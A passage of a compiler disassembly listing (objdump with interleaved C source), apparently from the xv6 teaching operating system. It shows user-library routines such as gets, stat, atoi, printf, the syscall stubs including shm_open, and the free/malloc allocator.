e8 02 01 00 00 call 126a <read> if(cc < 1) 1168: 85 c0 test %eax,%eax 116a: 7e 1d jle 1189 <gets+0x49> break; buf[i++] = c; 116c: 0f b6 45 e7 movzbl -0x19(%ebp),%eax gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1170: 89 de mov %ebx,%esi cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 1172: 8b 55 08 mov 0x8(%ebp),%edx if(c == '\n' || c == '\r') 1175: 3c 0d cmp $0xd,%al for(i=0; i+1 < max; ){ cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 1177: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') 117b: 74 0c je 1189 <gets+0x49> 117d: 3c 0a cmp $0xa,%al 117f: 74 08 je 1189 <gets+0x49> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1181: 8d 5e 01 lea 0x1(%esi),%ebx 1184: 3b 5d 0c cmp 0xc(%ebp),%ebx 1187: 7c c7 jl 1150 <gets+0x10> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1189: 8b 45 08 mov 0x8(%ebp),%eax 118c: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 1190: 83 c4 2c add $0x2c,%esp 1193: 5b pop %ebx 1194: 5e pop %esi 1195: 5f pop %edi 1196: 5d pop %ebp 1197: c3 ret 1198: 90 nop 1199: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000011a0 <stat>: int stat(char *n, struct stat *st) { 11a0: 55 push %ebp 11a1: 89 e5 mov %esp,%ebp 11a3: 56 push %esi 11a4: 53 push %ebx 11a5: 83 ec 10 sub $0x10,%esp int fd; int r; fd = open(n, O_RDONLY); 11a8: 8b 45 08 mov 0x8(%ebp),%eax 11ab: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 11b2: 00 11b3: 89 04 24 mov %eax,(%esp) 11b6: e8 d7 00 00 00 call 1292 <open> if(fd < 0) 11bb: 85 c0 test %eax,%eax stat(char *n, struct stat *st) { int fd; int r; fd = open(n, O_RDONLY); 11bd: 89 c3 mov %eax,%ebx if(fd < 0) 11bf: 78 27 js 11e8 <stat+0x48> return -1; r = fstat(fd, st); 11c1: 8b 45 0c mov 0xc(%ebp),%eax 11c4: 89 1c 24 mov %ebx,(%esp) 11c7: 89 44 24 04 mov %eax,0x4(%esp) 11cb: e8 da 00 00 00 call 12aa <fstat> close(fd); 11d0: 89 1c 24 mov %ebx,(%esp) int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; r = fstat(fd, st); 11d3: 89 c6 mov %eax,%esi close(fd); 11d5: e8 a0 00 00 00 call 127a <close> return r; 11da: 89 f0 mov %esi,%eax } 11dc: 83 c4 10 add $0x10,%esp 11df: 5b pop %ebx 11e0: 5e pop %esi 11e1: 5d pop %ebp 11e2: c3 ret 11e3: 90 nop 11e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; 11e8: b8 ff ff ff ff mov $0xffffffff,%eax 11ed: eb ed jmp 11dc <stat+0x3c> 11ef: 90 nop 000011f0 <atoi>: return r; } int atoi(const char *s) { 11f0: 55 push %ebp 11f1: 89 e5 mov %esp,%ebp 11f3: 8b 4d 08 mov 0x8(%ebp),%ecx 11f6: 53 push %ebx int n; n = 0; while('0' <= *s && *s <= '9') 11f7: 0f be 11 movsbl (%ecx),%edx 11fa: 8d 42 d0 lea -0x30(%edx),%eax 11fd: 3c 09 cmp $0x9,%al int atoi(const char *s) { int n; n = 0; 11ff: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 1204: 77 17 ja 121d <atoi+0x2d> 1206: 66 90 xchg %ax,%ax n = n*10 + *s++ - '0'; 1208: 83 c1 01 add $0x1,%ecx 120b: 8d 04 80 lea (%eax,%eax,4),%eax 120e: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 1212: 0f be 11 movsbl (%ecx),%edx 1215: 8d 5a d0 lea -0x30(%edx),%ebx 1218: 80 fb 09 cmp $0x9,%bl 121b: 76 eb jbe 1208 <atoi+0x18> n = n*10 + *s++ - '0'; return n; } 121d: 5b pop %ebx 121e: 5d pop %ebp 121f: c3 ret 00001220 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 1220: 55 push %ebp char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 1221: 31 d2 xor %edx,%edx return n; } void* memmove(void *vdst, void *vsrc, int n) { 1223: 89 e5 mov %esp,%ebp 1225: 56 push %esi 1226: 8b 45 08 mov 0x8(%ebp),%eax 1229: 53 push %ebx 122a: 8b 5d 10 mov 0x10(%ebp),%ebx 122d: 8b 75 0c mov 0xc(%ebp),%esi char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 1230: 85 db test %ebx,%ebx 1232: 7e 12 jle 1246 <memmove+0x26> 1234: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 1238: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 123c: 88 0c 10 mov %cl,(%eax,%edx,1) 123f: 83 c2 01 add $0x1,%edx { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 1242: 39 da cmp %ebx,%edx 1244: 75 f2 jne 1238 <memmove+0x18> *dst++ = *src++; return vdst; } 1246: 5b pop %ebx 1247: 5e pop %esi 1248: 5d pop %ebp 1249: c3 ret 0000124a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 124a: b8 01 00 00 00 mov $0x1,%eax 124f: cd 40 int $0x40 1251: c3 ret 00001252 <exit>: SYSCALL(exit) 1252: b8 02 00 00 00 mov $0x2,%eax 1257: cd 40 int $0x40 1259: c3 ret 0000125a <wait>: SYSCALL(wait) 125a: b8 03 00 00 00 mov $0x3,%eax 125f: cd 40 int $0x40 1261: c3 ret 00001262 <pipe>: SYSCALL(pipe) 1262: b8 04 00 00 00 mov $0x4,%eax 1267: cd 40 int $0x40 1269: c3 ret 0000126a <read>: SYSCALL(read) 126a: b8 05 00 00 00 mov $0x5,%eax 126f: cd 40 int $0x40 1271: c3 ret 00001272 <write>: SYSCALL(write) 1272: b8 10 00 00 00 mov $0x10,%eax 1277: cd 40 int $0x40 1279: c3 ret 0000127a <close>: SYSCALL(close) 127a: b8 15 00 00 00 mov $0x15,%eax 127f: cd 40 int $0x40 1281: c3 ret 00001282 <kill>: SYSCALL(kill) 1282: b8 06 00 00 00 mov $0x6,%eax 1287: cd 40 int $0x40 1289: c3 ret 0000128a <exec>: SYSCALL(exec) 128a: b8 07 00 00 00 mov $0x7,%eax 128f: cd 40 int $0x40 1291: c3 ret 00001292 <open>: SYSCALL(open) 1292: b8 0f 00 00 00 mov $0xf,%eax 1297: cd 40 int $0x40 1299: c3 ret 0000129a <mknod>: SYSCALL(mknod) 129a: b8 11 00 00 00 mov $0x11,%eax 129f: cd 40 int $0x40 12a1: c3 ret 000012a2 <unlink>: SYSCALL(unlink) 12a2: b8 12 00 00 00 mov $0x12,%eax 12a7: cd 40 int $0x40 12a9: c3 ret 000012aa <fstat>: SYSCALL(fstat) 12aa: b8 08 00 00 00 mov $0x8,%eax 12af: cd 40 int $0x40 12b1: c3 ret 000012b2 <link>: SYSCALL(link) 12b2: b8 13 00 00 00 mov $0x13,%eax 12b7: cd 40 int $0x40 12b9: c3 ret 000012ba <mkdir>: SYSCALL(mkdir) 12ba: b8 14 00 00 00 mov $0x14,%eax 12bf: cd 40 int $0x40 12c1: c3 ret 000012c2 <chdir>: SYSCALL(chdir) 12c2: b8 09 00 00 00 mov $0x9,%eax 12c7: cd 40 int $0x40 12c9: c3 ret 000012ca <dup>: SYSCALL(dup) 12ca: b8 0a 00 00 00 mov $0xa,%eax 12cf: cd 40 int $0x40 12d1: c3 ret 000012d2 <getpid>: SYSCALL(getpid) 12d2: b8 0b 00 00 00 mov $0xb,%eax 12d7: cd 40 int $0x40 12d9: c3 ret 000012da <sbrk>: SYSCALL(sbrk) 12da: b8 0c 00 00 00 mov $0xc,%eax 12df: cd 40 int $0x40 12e1: c3 ret 000012e2 <sleep>: SYSCALL(sleep) 12e2: b8 0d 00 00 00 mov $0xd,%eax 12e7: cd 40 int $0x40 12e9: c3 ret 000012ea <uptime>: SYSCALL(uptime) 12ea: b8 0e 00 00 00 mov $0xe,%eax 12ef: cd 40 int $0x40 12f1: c3 ret 000012f2 <shm_open>: SYSCALL(shm_open) 12f2: b8 16 00 00 00 mov $0x16,%eax 12f7: cd 40 int $0x40 12f9: c3 ret 000012fa <shm_close>: SYSCALL(shm_close) 12fa: b8 17 00 00 00 mov $0x17,%eax 12ff: cd 40 int $0x40 1301: c3 ret 1302: 66 90 xchg %ax,%ax 1304: 66 90 xchg %ax,%ax 1306: 66 90 xchg %ax,%ax 1308: 66 90 xchg %ax,%ax 130a: 66 90 xchg %ax,%ax 130c: 66 90 xchg %ax,%ax 130e: 66 90 xchg %ax,%ax 00001310 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 1310: 55 push %ebp 1311: 89 e5 mov %esp,%ebp 1313: 57 push %edi 1314: 56 push %esi 1315: 89 c6 mov %eax,%esi 1317: 53 push %ebx 1318: 83 ec 4c sub $0x4c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 131b: 8b 5d 08 mov 0x8(%ebp),%ebx 131e: 85 db test %ebx,%ebx 1320: 74 09 je 132b <printint+0x1b> 1322: 89 d0 mov %edx,%eax 1324: c1 e8 1f shr $0x1f,%eax 1327: 84 c0 test %al,%al 1329: 75 75 jne 13a0 <printint+0x90> neg = 1; x = -xx; } else { x = xx; 132b: 89 d0 mov %edx,%eax static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 132d: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 1334: 89 75 c0 mov %esi,-0x40(%ebp) x = -xx; } else { x = xx; } i = 0; 1337: 31 ff xor %edi,%edi 1339: 89 ce mov %ecx,%esi 133b: 8d 5d d7 lea -0x29(%ebp),%ebx 133e: eb 02 jmp 1342 <printint+0x32> do{ buf[i++] = digits[x % base]; 1340: 89 cf mov %ecx,%edi 1342: 31 d2 xor %edx,%edx 1344: f7 f6 div %esi 1346: 8d 4f 01 lea 0x1(%edi),%ecx 1349: 0f b6 92 58 17 00 00 movzbl 0x1758(%edx),%edx }while((x /= base) != 0); 1350: 85 c0 test %eax,%eax x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 1352: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); 1355: 75 e9 jne 1340 <printint+0x30> if(neg) 1357: 8b 55 c4 mov -0x3c(%ebp),%edx x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 135a: 89 c8 mov %ecx,%eax 135c: 8b 75 c0 mov -0x40(%ebp),%esi }while((x /= base) != 0); if(neg) 135f: 85 d2 test %edx,%edx 1361: 74 08 je 136b <printint+0x5b> buf[i++] = '-'; 1363: 8d 4f 02 lea 0x2(%edi),%ecx 1366: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1) while(--i >= 0) 136b: 8d 79 ff lea -0x1(%ecx),%edi 136e: 66 90 xchg %ax,%ax 1370: 0f b6 44 3d d8 movzbl -0x28(%ebp,%edi,1),%eax 1375: 83 ef 01 sub $0x1,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 1378: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 137f: 00 1380: 89 5c 24 04 mov %ebx,0x4(%esp) 1384: 89 34 24 mov %esi,(%esp) 1387: 88 45 d7 mov %al,-0x29(%ebp) 138a: e8 e3 fe ff ff call 1272 <write> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 138f: 83 ff ff cmp $0xffffffff,%edi 1392: 75 dc jne 1370 <printint+0x60> putc(fd, buf[i]); } 1394: 83 c4 4c add $0x4c,%esp 1397: 5b pop %ebx 1398: 5e pop %esi 1399: 5f pop %edi 139a: 5d pop %ebp 139b: c3 ret 139c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; 13a0: 89 d0 mov %edx,%eax 13a2: f7 d8 neg %eax int i, neg; uint x; neg = 0; if(sgn && xx < 0){ neg = 1; 13a4: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) 13ab: eb 87 jmp 1334 <printint+0x24> 13ad: 8d 76 00 lea 0x0(%esi),%esi 000013b0 <printf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 13b0: 55 push %ebp 13b1: 89 e5 mov %esp,%ebp 13b3: 57 push %edi char *s; int c, i, state; uint *ap; state = 0; 13b4: 31 ff xor %edi,%edi } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 13b6: 56 push %esi 13b7: 53 push %ebx 13b8: 83 ec 3c sub $0x3c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 13bb: 8b 5d 0c mov 0xc(%ebp),%ebx char *s; int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; 13be: 8d 45 10 lea 0x10(%ebp),%eax } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 13c1: 8b 75 08 mov 0x8(%ebp),%esi char *s; int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; 13c4: 89 45 d4 mov %eax,-0x2c(%ebp) for(i = 0; fmt[i]; i++){ 13c7: 0f b6 13 movzbl (%ebx),%edx 13ca: 83 c3 01 add $0x1,%ebx 13cd: 84 d2 test %dl,%dl 13cf: 75 39 jne 140a <printf+0x5a> 13d1: e9 c2 00 00 00 jmp 1498 <printf+0xe8> 13d6: 66 90 xchg %ax,%ax c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 13d8: 83 fa 25 cmp $0x25,%edx 13db: 0f 84 bf 00 00 00 je 14a0 <printf+0xf0> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 13e1: 8d 45 e2 lea -0x1e(%ebp),%eax 13e4: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 13eb: 00 13ec: 89 44 24 04 mov %eax,0x4(%esp) 13f0: 89 34 24 mov %esi,(%esp) c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; } else { putc(fd, c); 13f3: 88 55 e2 mov %dl,-0x1e(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 13f6: e8 77 fe ff ff call 1272 <write> 13fb: 83 c3 01 add $0x1,%ebx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 13fe: 0f b6 53 ff movzbl -0x1(%ebx),%edx 1402: 84 d2 test %dl,%dl 1404: 0f 84 8e 00 00 00 je 1498 <printf+0xe8> c = fmt[i] & 0xff; if(state == 0){ 140a: 85 ff test %edi,%edi uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 140c: 0f be c2 movsbl %dl,%eax if(state == 0){ 140f: 74 c7 je 13d8 <printf+0x28> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 1411: 83 ff 25 cmp $0x25,%edi 1414: 75 e5 jne 13fb <printf+0x4b> if(c == 'd'){ 1416: 83 fa 64 cmp $0x64,%edx 1419: 0f 84 31 01 00 00 je 1550 <printf+0x1a0> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 141f: 25 f7 00 00 00 and $0xf7,%eax 1424: 83 f8 70 cmp $0x70,%eax 1427: 0f 84 83 00 00 00 je 14b0 <printf+0x100> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 142d: 83 fa 73 cmp $0x73,%edx 1430: 0f 84 a2 00 00 00 je 14d8 <printf+0x128> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 1436: 83 fa 63 cmp $0x63,%edx 1439: 0f 84 35 01 00 00 je 1574 <printf+0x1c4> putc(fd, *ap); ap++; } else if(c == '%'){ 143f: 83 fa 25 cmp $0x25,%edx 1442: 0f 84 e0 00 00 00 je 1528 <printf+0x178> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 1448: 8d 45 e6 lea -0x1a(%ebp),%eax 144b: 83 c3 01 add $0x1,%ebx 144e: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 1455: 00 } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 1456: 31 ff xor %edi,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 1458: 89 44 24 04 mov %eax,0x4(%esp) 145c: 89 34 24 mov %esi,(%esp) 145f: 89 55 d0 mov %edx,-0x30(%ebp) 1462: c6 45 e6 25 movb $0x25,-0x1a(%ebp) 1466: e8 07 fe ff ff call 1272 <write> } else if(c == '%'){ putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 146b: 8b 55 d0 mov -0x30(%ebp),%edx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 146e: 8d 45 e7 lea -0x19(%ebp),%eax 1471: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 1478: 00 1479: 89 44 24 04 mov %eax,0x4(%esp) 147d: 89 34 24 mov %esi,(%esp) } else if(c == '%'){ putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 1480: 88 55 e7 mov %dl,-0x19(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 1483: e8 ea fd ff ff call 1272 <write> int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 1488: 0f b6 53 ff movzbl -0x1(%ebx),%edx 148c: 84 d2 test %dl,%dl 148e: 0f 85 76 ff ff ff jne 140a <printf+0x5a> 1494: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi putc(fd, c); } state = 0; } } } 1498: 83 c4 3c add $0x3c,%esp 149b: 5b pop %ebx 149c: 5e pop %esi 149d: 5f pop %edi 149e: 5d pop %ebp 149f: c3 ret ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; 14a0: bf 25 00 00 00 mov $0x25,%edi 14a5: e9 51 ff ff ff jmp 13fb <printf+0x4b> 14aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 14b0: 8b 45 d4 mov -0x2c(%ebp),%eax 14b3: b9 10 00 00 00 mov $0x10,%ecx } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 14b8: 31 ff xor %edi,%edi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 14ba: c7 04 24 00 00 00 00 movl $0x0,(%esp) 14c1: 8b 10 mov (%eax),%edx 14c3: 89 f0 mov %esi,%eax 14c5: e8 46 fe ff ff call 1310 <printint> ap++; 14ca: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 14ce: e9 28 ff ff ff jmp 13fb <printf+0x4b> 14d3: 90 nop 14d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } else if(c == 's'){ s = (char*)*ap; 14d8: 8b 45 d4 mov -0x2c(%ebp),%eax ap++; 14db: 83 45 d4 04 addl $0x4,-0x2c(%ebp) ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ s = (char*)*ap; 14df: 8b 38 mov (%eax),%edi ap++; if(s == 0) s = "(null)"; 14e1: b8 51 17 00 00 mov $0x1751,%eax 14e6: 85 ff test %edi,%edi 14e8: 0f 44 f8 cmove %eax,%edi while(*s != 0){ 14eb: 0f b6 07 movzbl (%edi),%eax 14ee: 84 c0 test %al,%al 14f0: 74 2a je 151c <printf+0x16c> 14f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 14f8: 88 45 e3 mov %al,-0x1d(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 14fb: 8d 45 e3 lea -0x1d(%ebp),%eax ap++; if(s == 0) s = "(null)"; while(*s != 0){ putc(fd, *s); s++; 14fe: 83 c7 01 add $0x1,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 1501: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 1508: 00 1509: 89 44 24 04 mov %eax,0x4(%esp) 150d: 89 34 24 mov %esi,(%esp) 1510: e8 5d fd ff ff call 1272 <write> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 1515: 0f b6 07 movzbl (%edi),%eax 1518: 84 c0 test %al,%al 151a: 75 dc jne 14f8 <printf+0x148> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 151c: 31 ff xor %edi,%edi 151e: e9 d8 fe ff ff jmp 13fb <printf+0x4b> 1523: 90 nop 1524: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 1528: 8d 45 e5 lea -0x1b(%ebp),%eax } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 152b: 31 ff xor %edi,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 152d: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 1534: 00 1535: 89 44 24 04 mov %eax,0x4(%esp) 1539: 89 34 24 mov %esi,(%esp) 153c: c6 45 e5 25 movb $0x25,-0x1b(%ebp) 1540: e8 2d fd ff ff call 1272 <write> 1545: e9 b1 fe ff ff jmp 13fb <printf+0x4b> 154a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 1550: 8b 45 d4 mov -0x2c(%ebp),%eax 1553: b9 0a 00 00 00 mov $0xa,%ecx } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 1558: 66 31 ff xor %di,%di } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 155b: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1562: 8b 10 mov (%eax),%edx 1564: 89 f0 mov %esi,%eax 1566: e8 a5 fd ff ff call 1310 <printint> ap++; 156b: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 156f: e9 87 fe ff ff jmp 13fb <printf+0x4b> while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); 1574: 8b 45 d4 mov -0x2c(%ebp),%eax } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 1577: 31 ff xor %edi,%edi while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); 1579: 8b 00 mov (%eax),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 157b: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 1582: 00 1583: 89 34 24 mov %esi,(%esp) while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); 1586: 88 45 e4 mov %al,-0x1c(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 1589: 8d 45 e4 lea -0x1c(%ebp),%eax 158c: 89 44 24 04 mov %eax,0x4(%esp) 1590: e8 dd fc ff ff call 1272 <write> putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); ap++; 1595: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 1599: e9 5d fe ff ff jmp 13fb <printf+0x4b> 159e: 66 90 xchg %ax,%ax 000015a0 <free>: static Header base; static Header *freep; void free(void *ap) { 15a0: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 15a1: a1 10 1a 00 00 mov 0x1a10,%eax static Header base; static Header *freep; void free(void *ap) { 15a6: 89 e5 mov %esp,%ebp 15a8: 57 push %edi 15a9: 56 push %esi 15aa: 53 push %ebx 15ab: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 15ae: 8b 08 mov (%eax),%ecx void free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; 15b0: 8d 53 f8 lea -0x8(%ebx),%edx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 15b3: 39 d0 cmp %edx,%eax 15b5: 72 11 jb 15c8 <free+0x28> 15b7: 90 nop if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 15b8: 39 c8 cmp %ecx,%eax 15ba: 72 04 jb 15c0 <free+0x20> 15bc: 39 ca cmp %ecx,%edx 15be: 72 10 jb 15d0 <free+0x30> 15c0: 89 c8 mov %ecx,%eax free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 15c2: 39 d0 cmp %edx,%eax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 15c4: 8b 08 mov (%eax),%ecx free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 15c6: 73 f0 jae 15b8 <free+0x18> 15c8: 39 ca cmp %ecx,%edx 15ca: 72 04 jb 15d0 <free+0x30> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 15cc: 39 c8 cmp %ecx,%eax 15ce: 72 f0 jb 15c0 <free+0x20> break; if(bp + bp->s.size == p->s.ptr){ 15d0: 8b 73 fc mov -0x4(%ebx),%esi 15d3: 8d 3c f2 lea (%edx,%esi,8),%edi 15d6: 39 cf cmp %ecx,%edi 15d8: 74 1e je 15f8 <free+0x58> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 15da: 89 4b f8 mov %ecx,-0x8(%ebx) if(p + p->s.size == bp){ 15dd: 8b 48 04 mov 0x4(%eax),%ecx 15e0: 8d 34 c8 lea (%eax,%ecx,8),%esi 15e3: 39 f2 cmp %esi,%edx 15e5: 74 28 je 160f <free+0x6f> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 15e7: 89 10 mov %edx,(%eax) freep = p; 15e9: a3 10 1a 00 00 mov %eax,0x1a10 } 15ee: 5b pop %ebx 15ef: 5e pop %esi 15f0: 5f pop %edi 15f1: 5d pop %ebp 15f2: c3 ret 15f3: 90 nop 15f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 15f8: 03 71 04 add 0x4(%ecx),%esi 15fb: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 15fe: 8b 08 mov (%eax),%ecx 1600: 8b 09 mov (%ecx),%ecx 1602: 89 4b f8 mov %ecx,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 1605: 8b 48 04 mov 0x4(%eax),%ecx 1608: 8d 34 c8 lea (%eax,%ecx,8),%esi 160b: 39 f2 cmp %esi,%edx 160d: 75 d8 jne 15e7 <free+0x47> p->s.size += bp->s.size; 160f: 03 4b fc add -0x4(%ebx),%ecx p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; freep = p; 1612: a3 10 1a 00 00 mov %eax,0x1a10 bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 1617: 89 48 04 mov %ecx,0x4(%eax) p->s.ptr = bp->s.ptr; 161a: 8b 53 f8 mov -0x8(%ebx),%edx 161d: 89 10 mov %edx,(%eax) } else p->s.ptr = bp; freep = p; } 161f: 5b pop %ebx 1620: 5e pop %esi 1621: 5f pop %edi 1622: 5d pop %ebp 1623: c3 ret 1624: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 162a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00001630 <malloc>: return freep; } void* malloc(uint nbytes) { 1630: 55 push %ebp 1631: 89 e5 mov %esp,%ebp 1633: 57 push %edi 1634: 56 push %esi 1635: 53 push %ebx 1636: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 1639: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 163c: 8b 1d 10 1a 00 00 mov 0x1a10,%ebx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 1642: 8d 48 07 lea 0x7(%eax),%ecx 1645: c1 e9 03 shr $0x3,%ecx if((prevp = freep) == 0){ 